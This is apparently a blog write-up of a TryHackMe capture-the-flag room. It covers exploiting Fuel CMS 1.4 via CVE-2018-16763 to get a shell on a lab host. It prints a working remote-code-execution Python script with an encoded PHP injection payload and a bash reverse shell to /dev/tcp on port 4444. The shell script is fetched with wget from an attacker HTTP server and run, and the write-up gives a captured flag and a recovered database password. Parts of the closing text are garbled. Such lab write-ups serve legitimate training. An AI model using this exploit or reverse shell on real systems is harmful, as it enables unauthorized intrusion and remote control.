Technology with Security
12 July 2020
To exploit a mis-configured webserver running CMS and then gain the root access.
When visited the default webpage that is running on the host, shows the Fuel CMS (Ver 1.4) was installed but not configured. The page has next steps to do by the system administrator and at the end of the page it has the default credentials to login, admin:admin.
Performed a scan on the host with nmap
:
$ nmap -p- -A 10.10.142.89
Nmap scan report for 10.10.142.89
Host is up (0.20s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
The Fuel CMS 1.4 has a known vulnerability CVE-2018-16763.
Using exploit from exploit database, tweaked a bit and created a file remoteattack.py.
The exploit will prompt for a command to execute on the victim.
# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763
import requests
import urllib
url = "http://10.10.142.89"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = input('cmd:')
url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx)+"%27%29%2b%27"
r = requests.get(url)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print(r.text[0:dup])
Test the exploit by running a sample remote command, like id, pwd etc.
$ python3 remoteattack.py
cmd:pwd
system/var/www/html
From above we can see the exploit is working, so we extend this to get a reverse shell to do more.
$cat revshell.sh
bash -i >& /dev/tcp/10.2.18.4/4444 0>&1
python -m http.server
from the same location, so the victim can download the file.nc
listener on port 4444; nc -nlvp 4444
$ python3 remoteattack.py
cmd:wget http://10.2.18.4:8000/revshell.sh
$ python3 remoteattack.py
cmd:bash revshell.sh
nc
listener and with the user www-data./home/www-data/flag.txt
which has a value: 6470e394cb--------1682cc8585059b
fuel/application/config/database.php
with password mememe. The same file we can saw on the webpage during Recon also with the instructions to install the database for Fuel CMS.Image Credits: TryHackMe and the room creator.